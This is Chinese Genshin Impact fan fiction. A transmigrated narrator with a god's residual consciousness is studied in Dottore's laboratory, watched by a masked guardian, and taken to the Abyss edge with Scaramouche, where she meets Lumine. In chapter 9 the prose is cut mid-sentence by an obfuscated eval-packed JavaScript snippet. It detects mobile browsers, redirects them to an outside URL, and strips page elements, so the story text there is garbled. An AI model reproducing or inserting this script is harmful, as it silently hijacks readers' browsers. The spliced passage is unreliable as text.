《原神:但体内有魔神残渣怎么破?》 1. 在一切开始之前 1. 脑海中不知什么时候多了一道声音,轻佻,慵懒,还带着一丝完全不搭边的空灵。 「噗,还是这么的……」 那个声音依旧在脑海里回荡,你确定那不是自己的思维。你躺在床上望着整洁的天花板,一股消毒水的气息突然涌来,侧头看过去,少年切片正站在床头边面无表情看着你——那熟悉的薄荷色的头发…… 你又闭上了眼。懂了,一定是还没睡醒,不然怎么会发生这么荒唐的事——怎么会穿越过来后还成了博士的实验品呢…… 天崩开局…… “昨晚你的睡眠时长不足,别影响白天的测试就行。”少年切片按照日常惯例记录你的体征,收起温度计与文件夹板,搁下今日的测试单后,转身离开,自动门合上的的声响隔绝了所有嘈杂。 「不用怀疑,这就是现实,你记忆中的过往也是真实的——需要再来一遍自我介绍吗?」那个声音在模仿你的声线,却用祂的性格说出口,你偶尔会把这些声音当成自己的想法。 你慢吞吞起身捻起滑落的纸张,上面姓名那一栏用提瓦特文字写着“南柯”,而下面的测试清单列着史莱姆到骗骗花,几道元素造物课题——并不是很难。 “是福是祸躲不过,既来之则安之……个屁啊,研究所是人能待的地方吗?!”你愤愤将纸张揉成一团,卯足力砸向门口——没吃饭,扔不到。 「省点力气吧,诶~这样吧,之后的测试画出你的那个EX什么棒,绝对会把这里炸成灰。」 “是Excalibur,被空耳为‘EX咖喱棒’……要完整释放的话得先绘出那把石中剑,再念出……”你回忆起那个快要遗忘的名场面,突然停顿住捂着脑袋哀嚎,“不对,你又看我的记忆,都是黑历史给我忘掉!!” 滚回被窝扯过被子,将自己卷起来拧成蛆来回滚动,脑海中的声音笑得更愉悦了:「呵呵,也不一定非要那把剑,既然能记住那个招式的情景,直接绘出来就好了。」 别人穿越通常是带着外挂这种东西,但你,没有。还多了个莫名的意识和一副卷轴和毛笔——意识被博士切片解释为:为了稳定你的存在而植入的「魔神残渣人性意识碎片」,至于卷轴和笔,说是和祂一起出现的东西,只有你才可以使用。 而测试就是实验卷轴释放元素造物的上限,你已经被动参加一周了,也就那段时间才能真正感受那外挂的触感。 什么存在、碎片、魔神、卷轴……老实说,你刚穿越进来就听到一堆的名词,一时间还捋不清——为什么要植入?为什么要配合博士测试卷轴的上限?为什么要待在小说里才有的场所?为什么要穿着拘束服和拘束器? 你只想找个机会离开这里——既然来到这里,那为什么不去和老婆贴贴而被迫待在这里当小白鼠? 怎么拿成研究所逃亡剧本了? 你用勺子拨弄面前卖相不错且营养均衡的早餐,再次叹气——博士倒是慷慨免费给你提供饭菜,味道不太像是人能吃的…… “初次见面,我叫阿纳托利,从今天起我就是你的监护人,请多指教。”银发少年正俯身将盛着热水的纸杯推到你手边,随后那人退开几步站定在对面,抬手行了一个标准的至冬军礼。 墨色军装勾勒出修长身形,脸上的制式面具遮住上半部分,银色的发丝无风而动,右侧一缕稍长的发尾还染了些许的红,像是泼上了血迹。 你抬头望着比自己还要高出一个半头的人,嘴比脑子快:“你……你谁啊?” 「你想问的不是这个吧……」那个声音很适时地在意识海中响起,「要我给你捋一下吗——你应该问问是谁派他来的。」 你有些后悔地闭上了双眼。 那面具上的红色灯带迟缓地闪烁了一下,他沉默了片刻后,再次重复了他自己的名字:“阿纳托利。” 2. 侧旁敲击了一圈你才初步清楚对方的职责——避免被监护人因意外而死亡,同时进行持续观察。人话:全天候监视。 这个人完全不提究竟是谁派来的,而且还一整天都默不作声出现在不远处的拐角,吃饭时也会端着个餐盘坐在不远处、想要独处的时候他都站在一旁……就连上厕所出来后都能瞥见远处的身影! 天杀的你惹到哪位祖宗了吗?! “你……是哪位执行官派你过来的?”你按着眉头发问,这里是博士的研究所,到处都是他的眼线,没理由再安排一个近距离观察的——二席,暂时排除。 对方不是有求于什么就是在提防什么——你有什么值得让别人监视的价值,你想不明白。 “……” 少年站定在三米开外的阴影处,窗走廊的灯光打在身上形成晦暗不明的色彩,窗外的夕阳将你与他分割开来,形成无形的边界。他身上并没有显眼的标识——所有能彰显身份地位的细节全部处理为愚人众的徽记。 答案已经很明显了。 “我不能透露那位大人的任何事情,包括目的——请见谅。”他将一本新的素描本递过来,“这是博士大人新发的,他希望你能……” 被限制的自由,被要求参加测试,莫名其妙的监视。这次你醒来就一直被什么拽着往前走,每一步都是被丈量好的距离,周围是未知的漆黑,无法知道自己将会迎接什么——你快被气笑了。 「或许你应该需要一份能够挣脱束缚的力量?」那个声音又在内心深处挠痒痒,让人忍不住去看一眼。 “笑死,天底下哪有这么倒霉的穿越者?”你低笑着后退一步没有接下他手里的本子,背着手看向他,“既然你是我的监护人,那我的要求你可以满足吧?” “……手册上并没有写是否听从你的命令,但出于职责,我会视安全程度尽量满足。”少年踌躇了一会,默默道。 你微微蹙眉,反手自己房间的门,在进去后即将关门时,突然发问,“你这个任务要进行到什么时候?” 外面那人没有回答,房门合闭的声响将一切嘈杂的思绪,彻底切断——咔哒。 3. 「画出你记忆中的梦想一刀,快快——」 聒噪的声音无法屏蔽,你拿笔的手抖了抖,笔尖溢出些许元素微粒。一下子用这种炫酷吊炸天的招式万一失败的话会很头疼的,还是从简单的开始吧! 「或者天星也可以!」 以记忆为基础,想象其形体,理解其构造,最终抽取精神力汇聚于笔尖—— 灼火燎原! 砰—— 火焰瞬间淹没整个测试场所,震碎所有玻璃。翻腾的气浪冲击着你周围的球形护盾,立马跟个仓鼠球似的被掀出去捅破内部的三层力场盾,最后命中观测区又自转了好几圈! 你蜷缩着身子,捂着被闪光激出生理性泪水的双眼——“好闪,我的眼睛……哕……” 「……这点动静是没吃饭吗?」天旋地转中你仿佛听到祂那六个点饱含非常亲切的关爱话语,以及科研人员的惊呼…… 等你从混沌中缓过神,望着休息室陌生又熟悉的天花板,以及坐在一旁的墨色身影,书页翻动的细响里,阿纳托利脸上的金属面具映着小夜灯的暖光。 似乎是察觉到什么,他移开书看过来:“还好吗?” “我不好,我一点都不好。”你扒拉着身上的毯子覆盖到头上当海底的菌毯,忽然感觉腹中空空,钻出来一看时间晚上七点半,心里拔凉拔凉的。 他似乎早有准备,摆出一堆的零食以及一份烩饭,尽数推过来颔首示意。 眼前突然出现的食物比什么都重要,再苦也不能苦了自己的胃!但一想到这个人的身份,你伸出去的手猛刹车,抬眼去偷看对方的表情,小心翼翼开口:“这些不会要摩拉吧?不行,我现在身无分文,你拿不到一丁点好处!” “……?”少年依旧面无表情,又将目光放回书中,“这是食堂提供的,不收摩拉。” 吧唧吧唧、咔擦咔擦…… 人饿极了会感觉什么都是美味的,哪怕清淡寡味特供饭菜亦是如此。你瞄了一眼在旁边看书的少年,将一份零食推过去,含糊不清道:“次吗,窝一个银赶不完。” 他不动声色缓慢翻开了下一页,连头都没抬。 想要套取情报最起码是开口聊天,哪怕是在自言自语,于是你咽下嘴里的食物又开始新一轮的尬聊:“那问你个问题,你对这里的伙食如何评价?” 他斟酌了一下开口:“老实说不如自己动手。” “你会做饭?”你把最后的饼干碎屑倒进嘴里。 少年几不可察地点头。 “你之前是做什么的?厨师?”你拆开另一袋的至冬即食红肠。 他的视线不知落在了哪,似乎在思考什么。 “无法说的话就不说了,我可以猜!”你又打开那份酸奶,看着干净盖子满意点点头。 “抱歉……” “怎么又道歉?又不是你的错,来——吃!” 你将唯一没动过的烩饭推了过去,然后成功看到银发少年放下书看过来,语气有些生涩:“这份是博士对你今日的表现而设置的——不能浪费。” 4. 「唉……你用他不用我的力量,唉,竹马打不过天降……」祂在你的意识海里摊成非常委屈的模样,细数你忽略祂的种种行为,「和他一起吃饭,不听我的建议就算了,还忽略我的搭话,呜呜呜,没爱了……」 你默默在心里翻了个白眼,这人,不,这魔神连自己的名字都不清楚,学你记忆中的梗倒是挺快。 拿着从办公室顺到权限卡,你来到观察已久的档案室门口——总感觉有些顺利过头了? 实际上你也知不道从哪找起,但为了能够顺利离开,线索搜寻环节是必要的。你直接调取所有和自己有关的档案,而有部分被乱码刻意覆盖,翻来覆去只能推测出大概的结论:体内的意识,是某位魔神残留的人性意识碎片,博士似乎打算做什么。 「之前都跟你说又不相信,非得过来一趟,看吧,事情就是这么个样子。」祂在意识海中摆出摊手姿势,你抹去有些尴尬的汗水,开始翻看别的资料。 “但为什么你会在我体内?”你将一份几乎全是乱码的档案上下颠倒,试图透过光发现什么,很可惜,你什么都看不出。 “这些乱码看着就像是刻意的,也没有藏着什么——如果这么容易就被翻到的东西,大概不是那么重要,博士或许默许了我的行为???” 「你觉得呢?」 “诶,总不能空手而归吧……”你把资料整齐归档,忽然想起什么,“卷轴呢?怎么没看到一丁点有关的字眼,不是说和你一起出现的吗?” 「嗯哼~不如下次测试直接拿回来好了,反正那东西只有你才可以用——不过得先把这套碍事的衣服换掉。」 估摸着时间也差不多了,而且太久的话会被抓个现行的,于是你将所有归于原位,麻溜的退出档案室放回权限卡。 在指针对准正下方的时候来到食堂,当你第n次试图从窗口看清里边长什么样子的时候,挡板飞速合上,怎么掰也掰不动! 旁边的显示器还摆出哭泣的表情和一串抗议:别打扰我工作啊!!! “你说这里面是食堂阿姨在煮饭,还是机器小人被压榨了?”你端着餐盘来到食堂的一角坐下,开始和祂对话。 「这种连贡品都不如的泔水,听我句劝,你自己解决食物问题。」 说得好听,前提是不被小机器人轰出去才行啊——上次探索房间时误入后厨,被直接扔到切片面前…… “这里都是博士研制的服务型设备,均代替了……食堂阿姨。”像是为了解惑,那人的声音冷不丁出现了,比自己完全不同配置的饭菜摆在斜对面,明显比你的丰富许多,也不知口味是否匹配外观。 你看着阿纳托利将食物送进口中咀嚼时,有明显的僵硬。 哦,这人在啊。 “你的监视,应该不包括干扰被监视者的行动吧?”你用叉子拨弄角落的豆子,试图平稳声音。 “……不会,就算你要进行任何危险的行为我也不会阻拦,但出于我个人的建议,还请不要做出无法挽回的……” “停停停……”你将豆子拨到勺子里,再洒进对方的菜里,“我知道,吃你的!” 他沉默地将豆子悉数归还,无奈道:“这里设置的配比刚好能满足你需要的热量,再不吃下次的测试你还能坚持得住?” “白人饭怎么可能吃得下……”你低声吐槽,恶狠狠叉了一块土豆扔进口中咬碎,直勾勾盯着他的肉,“而且咱俩的饭根本不是一个级别的,可恶,博士这家伙根本就是区别对待!” “……你想试的话也可以。”他将餐盘推了过来一点,可当你如愿吃到看中的那一块时,你失望了——这研究所就不能雇佣真人吗? 5. 然而第二天所有预想的计划全部被打乱,你被叫到一处接待室,呆愣着接过切片塞进怀里的卷轴,转头看了看总是站在身后的阿纳托利,又侧头看看面前裹着执行官大麾的紫发人偶,整个人就像一只紫薯糯米团子…… 「噗……什么形容,他要是知道你是这么评价他的,说不定小命不保。」 是阿散……是活着的阿散……你攥着卷轴的手不自觉收紧,一刻也没有为卷轴的归回而感到高兴,接下来登场的是……散喵喵!! “喂……多托雷,这家伙是不是被你给弄傻了?”散兵冷眼看着你们,打量你的外貌,打量着……旁边的陌生人。他眉头紧皱,双手交叠于胸前,抬了抬下巴转向阿纳托利,“谁家的小卒子?” “你也知道,这么完美的容器肯定不止我一人关注。”切片歪了歪头,他又向着你递过来一份实验简述,“鉴于你上次测试的表达欲,我特意安排一项任务,是否选择就看你了——” 你接下烫手山芋似的的文件夹板,上面印着任务内容让你触目惊心,简单来说就是跟散兵去靠近深渊的边缘地带走一圈。 深渊是啥?在你的记忆中是一切未知的、恐惧的、混乱的、不可名状的混沌,就你这普通人的身板进去走一圈?竖着进去横着回来是吧?!甚至不用再回来了。 「警惕是好事,不过深渊啊……在你里记忆里,屡次渗透提瓦特,最近一次在500年前的坎瑞亚……唔,如今又要再次……」祂停下了查阅记忆的行为,突然没了声响。 自己所有的行为都被博士预判了,因为他知道你绝对不会放过这次机会,继续待在研究所的话,或许就再也出不去了。 你刚把签好的知情书递过去,切片又把两张空白的遗书推过来。你内心缓缓打出一个问号:“写给你收着作纪念?” “总得有个仪式感。”他甚至将笔和印泥挪过来。 你按着纸张推回去,看着他的金属鸟嘴面具上的光泽:“在进行重大任务前是禁止插旗的,你不明白吗?” “插旗和写遗书是两码事。” “我不想写。” “你确定?” “确定。” “真是可惜~”切片卸了力,后退一步摊开手。 阿纳托利不动声色插入你们俩之间,同样把空白的纸张还回去。 “看吧,他也不想写……等等,你怎么也要跟去啊?这不是我的任务吗?”你难以置信揪着他的衣襟晃了晃,试图从他露出来的下半张脸捕捉些许端倪。 他伸手制止你并拉开一定的距离,别过脸解释:“你的是你的,而我的……外出任务必须跟随。” “呵……”一直在沙发上看戏的散喵喵发出一声嗤笑,站起身就往外走,经过你的时候还多看了一眼,“还挺有干劲啊,不过,接下来可没法预测了哦。” 预测……? 当天晚上你们就被散兵带到另一个地方休整,突然从简洁的研究所换到满是稻妻装潢的宅子时,你总感觉有些不真实,捧着他丢过来的一套愚人众外勤服,你依旧沉浸在内心世界。 「怎么?不好吗?」 “怎么?还要我亲自给你换吗?” 两道声音同时将你唤醒,在被他一脚踹进房间之前,你自己就已经撞进去反手锁住门! 霎时间周围安静了下去,只剩胸腔里鼓动的心跳声,侧头听到外面传来一声轻笑,直到脚步声逐渐远去,你这才长舒一口气,抖开衣服——果然和游戏里的一样,不过黑丝变成了长裤。 等第二天积雪降至了小肚腿,太阳高挂在枝头,你努力睁大眼睛去仔细观看周围的雪景。这才意识到已经身处室外了,总感觉有好多年没出来了是怎么回事? 一副愚人众制式面具从上而下轻轻覆盖在眼部,耳畔传来阿纳托利有些低沉的声音,以及一丝丝痒意:“带上,小心得雪盲症。” 你扶正面具看过去,那人依旧是一套墨色军风衣,银色的发丝在冰蓝色的雪景衬得更加柔和,灰色的金属面具底端横贯着一道红色条纹——这个样式有点像风拳雷锤的那种,所以眼睛究竟是什么颜色的呢? 你似乎从未见过他摘下面具的模样。 「呵呵,看你激动得,冬游吗?要不要再检查一下抑制剂带够了没。」祂在意识海中打了个哈欠,「还有,现在的阿散可不是你游戏里那么好说话的,小心他不管你。自己爬出来吧!」 惨白的天空与大地被一道裂缝均匀的分割开来,本就朦胧的日光被吞噬殆尽。浓稠的恶意从边缘溢散,又缓慢绕个弯浸入缝隙内部,如此循环往复…… 但你还没看清其中的细节,背部突然传来顿力,你被迫往前一迈,眼前一黑—— 6. 其实你还是在意散兵说的话,什么“预测”? 没想到他也是谜语人。 你蹲在岩石底下屏息,卷轴铺在脚边,金色的元素微粒附着在笔尖逐渐消散。不远处兽境猎犬缓慢飘过,时不时用前爪翻找着什么,鼻翼耸动。 「已经独自坚持三个小时很不错的啦~」祂放轻了声音,脑海中祂的身影像是一团薄雾,永远看不真切。 没错,从进来开始你已经和他们失散三个小时了,而且这里只是靠近深渊的边缘地带,那些魔物一批接着一批从天而降。 你几乎是躲着它们摸索前进,毛笔在指尖翻转,伸手刚在卷轴上点出第一笔,就被一只纤细的手捏住笔杆,你条件反射拽着后撤—— 温暖的金色就这么闯进你的视野里,将昏暗逼仄的空间晕染出晨曦般的色彩,白色的裙摆宛如花那样轻盈绽放,金色的双眸在兜帽下熠熠生辉,以及那两朵标志性的因提瓦特…… “你……?” “再动用这些能力,这片区域的魔物会过来的哦。”荧捏着笔杆的手没有松开,你也收不回去,就这么直愣愣盯着人家—— ——家人们,你出息了啊!居然碰上老婆了!! 她松开手:“不过我们先换个地方聊天吧。” 还没等你反应过来,她已经拽着你的手臂往外跃出去,金色汇聚在掌心形成长剑,反手劈开所有挡路的魔物!纷飞的灰烬因带动的风卷到一边,魔物的嘶吼与哀嚎飞速远去—— 不多时,你像只团雀被拎到一处高地,等你扶着枯木站定后才看清周遭的地形——没有太阳也没有月亮和星星,无法判断这里究竟是哪,漆黑云雾弥漫在头顶。 上方是倒悬者山崖与深渊泄露的紫色能量,地表没有一丝绿植,褐色岩石与风化的兽骨像是搅拌过的奶油那般凌乱,一旁的沟渠像是被什么巨大的利爪抓过一样形成深不见底的悬崖。 “这是哪?”你看得出奇,愣是认不出天和地的界限在哪。 “你来到这里居然不清楚这是哪吗?”她将兜帽扯下露出一头金色的毛绒绒,“那么这位……你体内的住客,不打算说句话认识一下吗?” 「啧……到底是怎么察觉到的啊,我都尽力不链接她的感官了……」抱怨的话语似乎就在耳边,祂咕哝着,声音越来越小,「需要认识吗……」 “请不要紧张,只是感觉到有两个人,自然想要确认一下——当然,你不想搭话也没关系。”荧浅浅笑了一下,继而抬头望着远处模糊的深处,“而且你似乎拥有很有趣的能力呢,具现化并不是谁都能驾驭,需要极强的精神力以及对事物精准的理解能力,光是绘出形体的话威力可没有想象中那么夸张呢。” “哈哈……”你干巴巴笑了两声,挠了挠后脑勺,将卷轴展开在半空中,笔尖轻触纸面,柔软而逼真的因提瓦特瞬间绽放,缓缓飘落在掌心。 “或许知识量越广,绘出来的造物就越厉害?”你又把卷轴合上挂回腰间,手指撵着花杆轻轻转动,由元素构成的因提瓦特散发着微光,忽明忽灭。 “其实也不一定是元素力,只要你想,什么都可以绘出来——包括你的目标。”她接过花,仔细感受了一下,“很像,没想到还能具现触感,颜色……看来你对我的记忆很深刻呢。” “毕竟在原来的世界......见过很多次你的画像——而且也不是很厉害的啦!至少那种精密的仪器弄出来却无法运作,还有抽象的概念也无法呈现……”你也不是没试过,结果不是那些元素造物没有任何反应,就是莫名的能量扰乱了三天三夜的设备。 你们从卷轴的使用技巧开始聊,聊你那短暂的见闻,一直到到抱怨研究所糟糕的食堂饭菜,虽然都是你一直在开话题,但却始终没有提游戏的剧情发展,你不知道是否可以把这些秘密算盘交付——可以吗? “要不……”少女伸出右手,“来我这边?” 可以吗?偏离追寻主线的道路,去抓住更接近真相的存在,省去那些复杂的流程,直接进一步探寻秘密,甚至可以找到回家的方法——可是,真的要把所有交给一个刚认识的人吗? 按理来说,你们才刚见面不到一个小时的陌生人,你又凭什么认为对方是值得相信的? 看着像是盛满了希望的手,你内心颤颤巍巍在做最后的挣扎—— “咔哒——” “别动。” 你的手被更炽热的手掌包裹住往下按,你后知后觉侧头看过去——只见阿纳托利一手按着你的手,一手握着枪抵在金发少女的太阳穴! 做什么?把枪拿开,不要对着老婆口牙!!! 你完全抵不过他的力气,被彻底按下去,也挣不开,只能暗自较劲得满头大汗。 “这位先生是你的朋友吗?居然能靠这么近都没被发现,究竟用了什么我不知道的方法?”荧也没有动作,只是默默收回手闭上了眼,低喃着,“哦?已经沾染上一丝深渊气息了啊……” 烈风随着突然间的动作迸发,双方以极快的速度出手,挥出来的残影错开,你只感觉眨了一下眼睛,他们的位置就变了——阿纳托利侧身挡在你面前,荧已经拉开了距离。 白色的身影飘落在一旁的石块上,她看了过来:“你的这位朋友似乎不欢迎我呢。” “干什么干什么干什么!”你干脆回握住他的手拽了拽,发现拽不动,于是直接圈住他整条手臂用全身力气往后拖,气急败坏的,“不许对我老婆这么凶!!” 7. 老……婆? 「呵呵,很微妙的心理活动呢……」祂冷不丁插话。 俩人似乎都愣了一瞬,你这才意识到刚说了什么,憋红了脸:“我是说君子动口不动手……” “灰色的团雀,好好考虑吧。”荧举起双手往后退,直接跃下高地,瞬间没了身影,只剩你绘制的因提瓦特在空中散成光点。 “啊啊,被你吓跑了……”你有些失落,准备转身时却被他忽然往后一拉,肩膀被他抓着掰向他,你被这突然间的动作搞得莫名其妙。 “别动,例行检查。”他单手扣住你后颈,另一只手快速检查你暴露在外的皮肤,指节擦过耳后时,你察觉到他手套下不自然的颤抖。 你像砧板上的鱼被他翻来覆去,被打量得浑身不自在,抿紧双唇,低头查看,试图给自己找点事做:“怎么了吗?没有问题,没有受伤也没有侵蚀……” 等他真正确认完毕才松口气,身形却晃了晃突然单膝跪地。 你也跟着扑下来,扶着他的双肩开始飙泪:“别死啊!你死了我会被散兵被丢在这里自生自灭的——” “……安静。”他握住你手腕制止你的举动,声音略显沙哑,“如果你想引来魔物获取素材的话,倒是可以尽情发挥。” 你抱头停止毫无情感的呜咽,透过缝隙去看他——少年已经站起身把面具扶正,伸手将你拉起来。 你这才注意到他的风衣边缘已经破损,甚至还有两处补丁,面具表面全是刮擦甚至出现两条细微的裂缝,头发乱糟糟的还沾了灰尘和血痂。 “怎么感觉有时差?”你记得三个多小时前他的装备可是全新的啊,如果只是高强度战斗会有这种程度的磨损吗?你抓起他的手臂翻看,却被他吃痛的闷哼逼停,疑惑地看向他,“阿纳托利,你从进来到现在已经过去多久了?” “……三天。” 「乖乖,我说这附近怎么乱七八糟的,除了深渊还有时差啊?」祂的惊呼也是你的咽下的话语。 “对不起,刚才还跟你的手臂较劲……”你捂脸。 他抬起试图安慰的手又放下去,这才硬生生憋出两个字:“没……事。” 8. 事已至此,当然是直接离开这个鬼地方不要再管散兵和什么实验啦!你蹲在角落展开卷轴试着画出一道门,然后对面应该是…… 「直接到蒙德吧,你不是一直想去那里吗?」祂甚至调取游戏中的画面,让你回忆得更加清晰了。 “唰唰唰”几下,一道木门出现在面前,只可惜刚出现,从底部开始就像是染上什么病毒一样,以肉眼可见的速度扭曲变形,短短数秒钟,眼前的元素造物化为颗粒消失…… “这块区域的地脉严重损毁了,除非去除异常源头净化这里,不然你试再多次都没用。”冷不丁的,身后突然想起阿纳托利的声音,你猛地转头,看见他递过来一份资料——是他出发前连夜整理的。 “哦哦……”你看着密密麻麻的摘要和简介,从编号到地理位置,再到形成原因和前人带出来的探索报告——地脉受损、引力界限、污染源……等一下,地脉受损跟你绘不绘得出有什么关系吗? 在记忆中并没这样的情况,博士也没交代过这种可能……你又分别试了不同的形态的元素造物——不行,无论简单的还是复杂的全部崩溃。 从进来到现在,第一次绘制还是碰到荧的时候,这不会是从地脉中抽取元素的吧……完蛋,被博士套路了。 但那朵因提瓦特又是怎么回事?为什么那个能绘出来?可再次试那朵花时——不出意料又不成形。 你忽然站起身张望——此时你们为了避免被魔物发现,已经转移到低处比较隐蔽的位置休息。 就在你拨开挡在洞口的干树皮,看了两眼又合上——又打开又合上,重复三四次后被阿纳托利按住树皮,你看到他投过来疑惑的神情。 “一定是打开的方式不对,外面好像是悬崖诶……”你解释道。 “周期性地表移位。”他说了个你听不懂的名词,他直接将树皮拉开——外面确实是悬崖,暗色的浓雾充斥在底部,隐约透着微光。对面的崖壁距离你们起码50米远,这个角度抬头甚至看不到上面的情景。 你扒着边缘探出头张望:“什么意思?变了位置怎么没动静啊?” 阿纳托利一把攥住你的后领拽回来,顺手把树皮合上:“在之前,我执行过一次任务,遇到了差不多的情况,这块区域被深渊影响了——要么等下一次移位,要么直接开路。” “唔……”你回到篝火旁盘腿坐到睡袋上,再次展开卷轴,边画边思索,“下一次移位又是多久?有没有明显的迹象,总不能在洞口守着吧?” “之前的情报并没有表明这个现象,而且没有变化的明显表现……”他也开始浏览那着资料,手指捻着木棍转动,“目前手上的元素弹只有三枚雷火草,普通炸药两块,到这里距离地面目测100米左右,就算用上全部也无济于事。” “那我们聊会儿天吧——讲讲你之前的任务吧,不是说遇到过一次吗?回忆一下?”你手腕一转,在纸面勾勒出一道直线,形成抽象的钻头形态,光点迅速消散。 “……没什么好讲的,那时候第一次遇到……”他垂着脑袋,额前的刘海笼罩在金属面具上,上面红色的条纹有些暗淡,“队伍迷路了很久,物资紧张,而且那时候距离深渊更近,它会听我们说话然后将前路堵死……” 会思考啊……并不意外,很多都有差不多的设定,但出现在身边的话确实挺崩溃的……等等,现在不会在听吧?你的眉头越发浓重起来。 “这里不会的。”像是察觉到你的担忧,少年抬起头再次重复,“这里是边缘地带,连淤积物都没有,不会的。” “边缘地带……地脉受损连元素造物也无法呈现……元素造物?”你再次执笔挥舞,自从醒来,博士就让你测试卷轴的元素造物的能力上限,都被他固定住思维了。 具现化非得是元素力的模样吗? 9. 褐色的岩石上铺满了魔物的尸骸,新鲜的血液蔓延、扩散。周围漆黑一片,只有不知名的菌类散发荧光,以及上空倒悬的山崖间漏出的能量微光。 已经不知是第几次无声的地形变换了,每一次都离高空的山体更近,薄雾开始泄露下来,一丝丝缭绕在周围,那处立着一节枯木的高地一直被什么抬高,就没有一次下降过。 又一只魔物被甩飞嵌入墙体,清脆的骨裂声伴随着粘稠的液体爆裂! 身着稻妻服饰的紫发人偶立于岩石之上,衣角沾了些血迹与划痕。 他睁眼注视着远处的薄雾,掌心凝聚起电弧——地面忽然传来震感,由深及浅,突然有什么刺眼的白光冲出地表,又笔直得窜上高空没入倒悬的山崖内部,被刺破的云雾形成一圈圈的波纹…… 片刻后,上方传来猛烈的爆炸声,浓稠的云雾被蘑菇云捅破更大的口子,他清楚的看到那边的碎石飞溅又落回那边的地面。 沉闷的声响回荡在周围,气浪掀起额前的碎发,眼底倒映微光,他手里的电光骤然熄灭。纵身跃下岩石快步走过去,随后换成漫不经心的步调,他单手叉腰低头看着刚从洞口爬出来的你们,嘴角扬起一个略带嘲讽的弧度:“慢死了。” 居然碰到了散兵,这究竟是幸运还是不幸呢?你按住有些发昏的头脑整理思绪:“让我缓缓……制造真品太难了……” “真品?刚才那玩意?”散兵抬眼看过去,那个被捅破的缺口又被云雾缓慢补上,已经看不清那边了。 那俩人自然而然开始交换情报,内容里的专业名词你是一个都没听懂……突然感觉自己过来到底是不是一个正确决定。 想要趁机离开还是太难了,必须先解决污染源才行,按照套路,肯定和那个高地有关——就它反常的升上去,地形移位估计也只是这玩意带来的现象,到底是什么东西,这么着急想要上天。 谁都能看出来了吧,只是有没有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088055|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个能力去查看而已。你仰着头眯眼望去——还是之前看到的那样,厚重的云雾间隐约浮现倒悬的山崖和深渊的能量流…… “拿着。”熟悉的冰雪气息靠近,一样冰凉的物件被塞入怀里,上面的指针在临界值边缘晃动。阿纳托利扶正面具快速后退一步,风衣下摆翻飞着,耳边的发梢被搅乱,那抹红色异常晃眼,“这是探测周围十米之内的深渊浓度,可以适当参考。等会我得去标记出口的位置,你……你跟紧散兵大人就好。” “这玩意有必要吗?等发现异常就不用逃跑——站在那里发愣就好了。”散兵伸出手示意,“赶紧的。” 10. 枯木高地 “之前就布置了引力结界将被污染的东西阻隔了。”散兵抬手指了指上方,“现在得去彻底破坏掉。” 你揉了揉太阳穴,试图集中注意力,被他带到这里后感觉呼吸不畅,双眼也被风刮得火辣辣——这身体竟是如此不便之物。 见你没回答,他抬眼瞥过去,伸手从你的腰包里精准摸出先前准备抵御深渊侵蚀的药剂:“连基础防护都做不好,怎么活到现在的?” 他熟练弹了弹针管,抓起你的手臂把袖子褪去,摸清血管后直接扎进去,推进—— 嘶……你下意识后仰别过头闭上眼:“我不会自己给自己打针……而且进来后就一直刷怪,好不容易停下来结果被变动的地形困住,给整忘记了……” “哼……”注射完毕后他按着你的伤口,雷光一闪将针管被搅碎,抬头看着你,“做好心理准备,一会儿可别哭着说要回家。” 随后他又絮絮叨叨交代了一大堆事,什么别擅自行动、看着点路、别触摸任何东西……诸如此类。 “无论是否成功,我会送你到出口处。” 有点不一样。你时不时看向那双紫眸,打量他的表情——执行官时期的他,性格是这样的吗? 思索间,散兵的视线对了上来,他那脸颊与耳畔以肉眼可见的速度红了…… ……? “听清楚没啊!”他别开视线习惯性抬手一按——似乎忘了头上啥也没戴,索性揽过你的腰身腾空而起,“抓紧了,掉下去我可不管你——” 穿过两重引力场的交界线,你只感觉视野在飞速颠倒,随后往下急速坠去——过载的感官让你下意识闭紧双眼,以八爪鱼的姿势抱紧他,腰间的手倏然收紧,你们冲破厚重的云层,不出几分钟就平稳落地…… 你掀开一条眼缝,周围黑咕隆咚的,借着云层泄露进来的微光这才看清这里的情况——薄雾环绕在周围,脚下是极为平坦的地面,刚好漫过脚背的水铺在上面,前方有一颗被污秽包裹的巨大水晶,暗色的能量汇聚在晶体又拉扯着上面翻涌的云层。 “下去。”散兵突然开口,扯开你的手脚,快步走过去,身影很快变得朦胧,你连忙跨步跟上,顺便掏出卷轴准备落笔。 “不是说要净化吗?”你回忆起阿纳托利的资料,指尖微动,金色的光粒浮现又暗淡下去。 “这种程度的污染你跟我说净化——你准备怎么净化?”话音未落,被岩石簇拥的晶体忽然一亮,浓雾中由远及近传来魔物的低吼…… 雷电突然劈在周围,哀嚎声此起彼伏,溅起的水花都带着酥麻感,你抓了抓脖子看向怀里的指示器——一直在临界值边缘晃动,生怕下一秒就会爆表。 散兵跨过来拽过你的手臂,快速靠近那巨大的晶体,来到底部才发现那跟一栋楼那么高的存在,近在咫尺的能量流动刮过皮肤,激得浑身像是被电流窜过般刺痛。 怀指示器发出细长的嗡鸣,不知哪来的力气你一把甩开他,猛地后撤几步,耳鸣目眩,开始止不住大喘气。 “哦?”他像是发现什么有趣的事物那般,绕着你欣赏,“居然能坚持这么久,不愧是穿越者,这些深渊也奈何不了你呢——但很可惜,也只是比常人更能苟活而已。” “况且能撑这么久,估计也是你体内魔神残渣的功劳,我猜,祂已经很久没跟你对话了,是吧。”散兵又劈下几道雷光,将刚出现的魔物碾成灰烬。 11. 或许一开始的决定就是错的!什么机会,至始至终都在测试你是否是个完美的容器——又有哪个人能和莫名其妙的意识和谐相处? 放在寻常人身上估计要疯掉,从被博士捡到的那一刻起,就已经逃不出去了。 “……你想确认什么?大费周章带我这个拖油瓶过来,是想确认什么?”你摸到鼻翼黏糊糊的血液,滴滴答答落在脚下的水面,忍住体内的胀痛与眩晕,艰难开口,“想要我掌握祂的力量?” 